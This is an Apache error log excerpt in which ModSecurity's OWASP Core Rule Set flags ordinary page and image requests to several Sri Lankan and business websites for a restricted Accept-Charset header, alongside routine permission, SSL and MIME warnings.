[Fri Jul 17 07:58:09.406673 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:09.417790 2026] [proxy_fcgi:error] [pid 1994966:tid 1994966] [client 187.18.136.96:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:58:11.444025 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:50238] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:58:14.747560 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almTPjiSeFVxYLkcq6IXfgAAAAc"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1253&page_105=2239
[Fri Jul 17 07:58:14.747608 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almTPjiSeFVxYLkcq6IXfgAAAAc"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1253&page_105=2239
[Fri Jul 17 07:58:15.623658 2026] [security2:error] [pid 1994976:tid 1994976] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almTPjRCJXF37-WnVv0ctwAAABI"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1184&page_105=2528
[Fri Jul 17 07:58:15.623704 2026] [security2:error] [pid 1994976:tid 1994976] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almTPjRCJXF37-WnVv0ctwAAABI"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1184&page_105=2528
[Fri Jul 17 07:58:16.361595 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.198.40.55:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "stanthonys.biz"] [uri "/"] [unique_id "almTQIl9vhFBGA6D8l9wpgAAAAw"]
[Fri Jul 17 07:58:16.361949 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "stanthonys.biz"] [uri "/"] [unique_id "almTQIl9vhFBGA6D8l9wpgAAAAw"]
[Fri Jul 17 07:58:16.426085 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.243:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.nccp.health.gov.lk"] [uri "/en/posts/-9"] [unique_id "almTQI1dLClkUfK_dfHbJQAAAAI"]
[Fri Jul 17 07:58:16.426516 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/en/posts/-9"] [unique_id "almTQI1dLClkUfK_dfHbJQAAAAI"]
[Fri Jul 17 07:58:16.426832 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/en/posts/-9"] [unique_id "almTQI1dLClkUfK_dfHbJQAAAAI"]
[Fri Jul 17 07:58:16.999018 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "stanthonys.biz"] [uri "/index.php"] [unique_id "almTQIl9vhFBGA6D8l9wpgAAAAw"]
[Fri Jul 17 07:58:17.206003 2026] [security2:error] [pid 1993571:tid 1993571] [client 54.198.40.55:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "stanthonys.biz"] [uri "/feed/"] [unique_id "almTQenUgtv5ujFYWh_p_QAAAA0"]
[Fri Jul 17 07:58:17.206442 2026] [security2:error] [pid 1993571:tid 1993571] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "stanthonys.biz"] [uri "/feed/"] [unique_id "almTQenUgtv5ujFYWh_p_QAAAA0"]
[Fri Jul 17 07:58:17.544622 2026] [security2:error] [pid 1993571:tid 1993571] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "stanthonys.biz"] [uri "/index.php"] [unique_id "almTQenUgtv5ujFYWh_p_QAAAA0"]
[Fri Jul 17 07:58:17.685203 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.198.40.55:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "stanthonys.biz"] [uri "/comments/feed/"] [unique_id "almTQXRlmrtCoY_COpccQQAAAAg"]
[Fri Jul 17 07:58:17.685578 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "stanthonys.biz"] [uri "/comments/feed/"] [unique_id "almTQXRlmrtCoY_COpccQQAAAAg"]
[Fri Jul 17 07:58:18.028075 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "stanthonys.biz"] [uri "/index.php"] [unique_id "almTQXRlmrtCoY_COpccQQAAAAg"]
[Fri Jul 17 07:58:18.174277 2026] [security2:error] [pid 1993998:tid 1993998] [client 54.198.40.55:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "stanthonys.biz"] [uri "/products/"] [unique_id "almTQmidQp3SsqeycPEnBwAAAAo"]
[Fri Jul 17 07:58:18.174680 2026] [security2:error] [pid 1993998:tid 1993998] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "stanthonys.biz"] [uri "/products/"] [unique_id "almTQmidQp3SsqeycPEnBwAAAAo"]
[Fri Jul 17 07:58:18.652199 2026] [security2:error] [pid 1993998:tid 1993998] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "stanthonys.biz"] [uri "/index.php"] [unique_id "almTQmidQp3SsqeycPEnBwAAAAo"]
[Fri Jul 17 07:58:18.829036 2026] [security2:error] [pid 1993675:tid 1993675] [client 54.198.40.55:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "stanthonys.biz"] [uri "/about/"] [unique_id "almTQjiSeFVxYLkcq6IXgQAAAAc"]
[Fri Jul 17 07:58:18.829481 2026] [security2:error] [pid 1993675:tid 1993675] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "stanthonys.biz"] [uri "/about/"] [unique_id "almTQjiSeFVxYLkcq6IXgQAAAAc"]
[Fri Jul 17 07:58:19.361502 2026] [security2:error] [pid 1993675:tid 1993675] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "stanthonys.biz"] [uri "/index.php"] [unique_id "almTQjiSeFVxYLkcq6IXgQAAAAc"]
[Fri Jul 17 07:58:19.437607 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:50504] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:58:19.569531 2026] [security2:error] [pid 1994446:tid 1994446] [client 54.198.40.55:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "stanthonys.biz"] [uri "/contact/"] [unique_id "almTQ12NhE8i6ppze4eoIwAAAAs"]
[Fri Jul 17 07:58:19.569948 2026] [security2:error] [pid 1994446:tid 1994446] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "stanthonys.biz"] [uri "/contact/"] [unique_id "almTQ12NhE8i6ppze4eoIwAAAAs"]
[Fri Jul 17 07:58:20.052490 2026] [security2:error] [pid 1994446:tid 1994446] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "stanthonys.biz"] [uri "/index.php"] [unique_id "almTQ12NhE8i6ppze4eoIwAAAAs"]
[Fri Jul 17 07:58:20.307734 2026] [security2:error] [pid 1994966:tid 1994966] [client 54.198.40.55:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "stanthonys.biz"] [uri "/wp-content/uploads/2022/05/HACCP-Logo-1.jpg"] [unique_id "almTRLyEqmgiTSUa55oCCAAAABA"]
[Fri Jul 17 07:58:20.308187 2026] [security2:error] [pid 1994966:tid 1994966] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "stanthonys.biz"] [uri "/wp-content/uploads/2022/05/HACCP-Logo-1.jpg"] [unique_id "almTRLyEqmgiTSUa55oCCAAAABA"]
[Fri Jul 17 07:58:20.323862 2026] [security2:error] [pid 1994966:tid 1994966] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "stanthonys.biz"] [uri "/wp-content/uploads/2022/05/HACCP-Logo-1.jpg"] [unique_id "almTRLyEqmgiTSUa55oCCAAAABA"]
[Fri Jul 17 07:58:20.608763 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.198.40.55:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "stanthonys.biz"] [uri "/wp-content/uploads/2022/05/ISO-22000-2018-1.jpg"] [unique_id "almTRAG5-NXx3Mem1QgIhAAAAA8"]
[Fri Jul 17 07:58:20.609212 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "stanthonys.biz"] [uri "/wp-content/uploads/2022/05/ISO-22000-2018-1.jpg"] [unique_id "almTRAG5-NXx3Mem1QgIhAAAAA8"]
[Fri Jul 17 07:58:20.657361 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "stanthonys.biz"] [uri "/wp-content/uploads/2022/05/ISO-22000-2018-1.jpg"] [unique_id "almTRAG5-NXx3Mem1QgIhAAAAA8"]
[Fri Jul 17 07:58:20.990165 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.198.40.55:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "stanthonys.biz"] [uri "/wp-content/uploads/2022/05/ST.-ANTHONYS-BIZ-PVT-LTD22-2.jpg"] [unique_id "almTRI4Wmn5zySdNNkAelwAAABM"]
[Fri Jul 17 07:58:20.990583 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "stanthonys.biz"] [uri "/wp-content/uploads/2022/05/ST.-ANTHONYS-BIZ-PVT-LTD22-2.jpg"] [unique_id "almTRI4Wmn5zySdNNkAelwAAABM"]
[Fri Jul 17 07:58:21.007237 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "stanthonys.biz"] [uri "/wp-content/uploads/2022/05/ST.-ANTHONYS-BIZ-PVT-LTD22-2.jpg"] [unique_id "almTRI4Wmn5zySdNNkAelwAAABM"]
[Fri Jul 17 07:58:21.015251 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:21.016163 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:21.334952 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.198.40.55:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "stanthonys.biz"] [uri "/wp-content/uploads/2022/05/ST.-ANTHONYS-BIZ-PVT-LTD91-2.jpg"] [unique_id "almTRYl9vhFBGA6D8l9wqQAAAAw"]
[Fri Jul 17 07:58:21.335359 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "stanthonys.biz"] [uri "/wp-content/uploads/2022/05/ST.-ANTHONYS-BIZ-PVT-LTD91-2.jpg"] [unique_id "almTRYl9vhFBGA6D8l9wqQAAAAw"]
[Fri Jul 17 07:58:21.357291 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "stanthonys.biz"] [uri "/wp-content/uploads/2022/05/ST.-ANTHONYS-BIZ-PVT-LTD91-2.jpg"] [unique_id "almTRYl9vhFBGA6D8l9wqQAAAAw"]
[Fri Jul 17 07:58:21.735885 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.198.40.55:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "stanthonys.biz"] [uri "/wp-content/uploads/2022/05/ST.-ANTHONYS-BIZ-PVT-LTDhaccp-2.jpg"] [unique_id "almTRVxP5-SsqbGuGB2eywAAAAA"]
[Fri Jul 17 07:58:21.736287 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "stanthonys.biz"] [uri "/wp-content/uploads/2022/05/ST.-ANTHONYS-BIZ-PVT-LTDhaccp-2.jpg"] [unique_id "almTRVxP5-SsqbGuGB2eywAAAAA"]
